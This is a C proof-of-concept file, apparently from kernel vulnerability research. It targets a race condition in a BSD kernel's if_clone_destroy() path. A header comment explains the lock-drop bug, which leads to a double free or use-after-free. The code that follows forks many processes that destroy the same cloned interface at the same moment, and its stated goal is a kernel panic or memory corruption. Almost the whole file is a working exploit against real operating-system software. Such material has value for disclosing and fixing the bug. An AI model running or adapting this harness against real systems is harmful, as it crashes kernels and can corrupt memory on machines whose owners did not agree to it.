DF-0725 / race_destroy.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | /* * DF-0725 race harness — if_clone_destroy() UAF / double-free-unit race. * * The bug (sys/net/if_clone.c:104-135): * if_clone_destroy() does: * ifnet_lock(); // 110 * ifp = ifunit(name); // 111 * ifnet_unlock(); // 112 <-- lock dropped * ... * if_clone_lookup(ifp->if_dname) // 116 <-- deref ifp WITHOUT lock * unit = ifp->if_dunit; // 119 <-- deref ifp WITHOUT lock * ... * ifnet_lock(); // 126 <-- re-take * if_clone_free_unit(ifc, unit); // 127 <-- clears bitmap bit * error = ifc->ifc_destroy(ifp); // 128 <-- may free ifp * ifnet_unlock(); // 132 * * Two concurrent destroyers of the same interface both pass ifunit() with a * live ifp, then both enter the ifnet_lock() critical section at 126. The * second one's if_clone_free_unit() re-clears an already-cleared bitmap bit * -> KKASSERT "bit is already cleared" panic (if_clone.c:367-368) when * INVARIANTS is ON (default GENERIC). With INVARIANTS OFF the second one * proceeds to ifc->ifc_destroy(ifp) on a freed ifp -> UAF. * * Reachability: SIOCIFDESTROY is gated by caps_priv_check(SYSCAP_RESTRICTEDROOT) * (sys/net/if.c:2013); tun/tap auto-destroy-on-close is also root-gated * (tunopen/tapopen both require SYSCAP_RESTRICTEDROOT). So this race is * root-triggerable only -> root->kernel DoS / hardening gap. * * Build: cc -O2 -o race_destroy race_destroy.c * Run: ./race_destroy [NCHILD] [ROUNDS] (default 8 5000) */ #include <sys/ioctl.h> #include <sys/socket.h> #include <sys/sockio.h> #include <sys/types.h> #include <sys/wait.h> #include <net/if.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <signal.h> #define IFACE "gif666" static int do_ioctl(int s, unsigned long cmd, const char *name) { struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, name, sizeof(ifr.ifr_name)); return ioctl(s, cmd, &ifr); } int main(int argc, char **argv) { int nchild = (argc > 1) ? atoi(argv[1]) : 8; int rounds = (argc > 2) ? atoi(argv[2]) : 5000; int s, i, r; int barrier[2]; if (pipe(barrier) != 0) { perror("pipe"); return 2; } s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 2; } /* Pre-clean: make sure IFACE is not present. */ do_ioctl(s, SIOCIFDESTROY, IFACE); fprintf(stderr, "[*] DF-0725 race: %d children x %d rounds on %s\n", nchild, rounds, IFACE); fprintf(stderr, "[*] Expect: kernel panic (KKASSERT 'bit is already cleared'\n" " at if_clone_free_unit, or UAF/free-memory access)\n"); for (i = 0; i < nchild; i++) { pid_t pid = fork(); if (pid == 0) { int cs, j; char tok; close(barrier[1]); cs = socket(AF_INET, SOCK_DGRAM, 0); if (cs < 0) _exit(3); for (r = 0; r < rounds; r++) { /* Block until parent releases us (iface created). */ if (read(barrier[0], &tok, 1) != 1) _exit(4); /* RACE: all children call SIOCIFDESTROY at once. */ for (j = 0; j < 8; j++) do_ioctl(cs, SIOCIFDESTROY, IFACE); } close(cs); _exit(0); } else if (pid < 0) { perror("fork"); return 2; } } close(barrier[0]); for (r = 0; r < rounds; r++) { /* Ensure interface exists for this round. */ if (do_ioctl(s, SIOCIFCREATE, IFACE) != 0) { /* Maybe a leftover from a partial round; destroy & retry. */ do_ioctl(s, SIOCIFDESTROY, IFACE); if (do_ioctl(s, SIOCIFCREATE, IFACE) != 0) continue; } /* Release all children to race-destroy it. */ for (i = 0; i < nchild; i++) { if (write(barrier[1], "x", 1) != 1) /* children may have exited (panic) */; } if ((r + 1) % 500 == 0) fprintf(stderr, "[*] round %d/%d\n", r + 1, rounds); } close(barrier[1]); for (i = 0; i < nchild; i++) wait(NULL); fprintf(stderr, "[+] completed %d rounds with no panic.\n", rounds); do_ioctl(s, SIOCIFDESTROY, IFACE); return 0; } |